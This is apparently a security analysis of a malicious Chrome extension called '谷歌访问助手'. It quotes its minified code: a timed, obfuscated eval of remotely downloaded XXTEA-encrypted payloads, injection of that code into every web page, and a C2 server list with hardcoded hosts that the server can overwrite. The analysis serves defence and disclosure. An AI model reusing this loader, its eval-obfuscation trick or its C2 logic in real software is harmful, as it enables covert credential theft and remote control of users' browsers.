谷歌访问助手

After 24 hours post-install, reads previously downloaded and decrypted JavaScript payloads from persistent filesystem ('rml' and 'cml') and executes the 'rml' payload via obfuscated eval (window["eval"]) in the background script context, giving the remote payload full access to all Chrome extension APIs including proxy, tabs, and webRequest. The obfuscation of 'eval' is deliberate evasion of static analysis.

localStorage.Installed && Date.now() - parseInt(localStorage.Installed) > 864e5 && parseInt(localStorage  .mversion) > 0 && (n.IO.R("rml", function(t) {  window[14..toString(16) + "v" + 241..toString(22)](t)}, function() {  console.error("read data error")}), n.IO.R("cml", function(t) {  f = t}, function() {  console.error("read data error")}))

The content script requests the 'cml' payload from the background script via 'init-page' message, then executes it via obfuscated eval (window["eval"]) directly in the page context of every web page matching http://*/* and https://*/*. This allows the attacker-controlled JavaScript to interact with the DOM, intercept credentials, and exfiltrate data from any site the user visits. The same eval obfuscation technique as in bg.js confirms intentional evasion.

chrome.runtime.sendMessage({  reqtype: "init-page"}, function(t) {  t && t.data.length > 0 && e[14..toString(16) + "v" + 241..toString(22)](t.data)})

Downloads an XXTEA-encrypted JavaScript payload from a URL specified by a remote configuration server (e.rml), decrypts it with hardcoded key '0123456789abcdef', and persists it to the extension's unlimited filesystem storage under 'rml'/'cml' keys. The remote server (loaded from base64-encoded URLs at o4175vz27.qnssl.com and yingu.coding.me) controls both the payload URL and its version number, giving attackers the ability to silently update the injected code at any time.

var l = function(t) {  var e = JSON.parse(atob(t));  e.vn > 0 && parseInt(localStorage.mversion) != e.vn ? $.ajax({    type: "get",    url: e.rml + "?t=" + Date.now(),    success: function(t) {      var o = r.D(t, "0123456789abcdef")        .split("/*AABBCCDDEE*/");      2 == o.length ? n.IO.W("rml", o[0], function() {        n.IO.W("cml", o[0], function() {          console.log("update!"), localStorage.mversion = e.vn        })      }) : console.error("internal error")    },    error: function(t) {      console.error("mversion request fail")    }  }) : localStorage.mversion = e.vn}

The extension's command-and-control server list starts with two hardcoded URLs and can be overwritten by whatever the remote server returns in its 'static' field (also base64-encoded). This means the attacker can redirect the extension to any new C2 infrastructure on the fly, making takedown of the initial servers ineffective.

var i = ["https://o4175vz27.qnssl.com/d.json", "https://yingu.coding.me/test/d.json"];if (localStorage.static) {  i = [];  for (var a = JSON.parse(localStorage.static), u = 0; u < a.length; u++) i.push(atob(a[u]))}

Obfuscated eval in the background context: 14.toString(16)='e', 241.toString(22)='al', so this is window["eval"](t). The deliberate obfuscation of a standard built-in call has no legitimate purpose and is a clear attempt to evade automated static analysis tools that scan for 'eval'.

window[14..toString(16) + "v" + 241..toString(22)](t)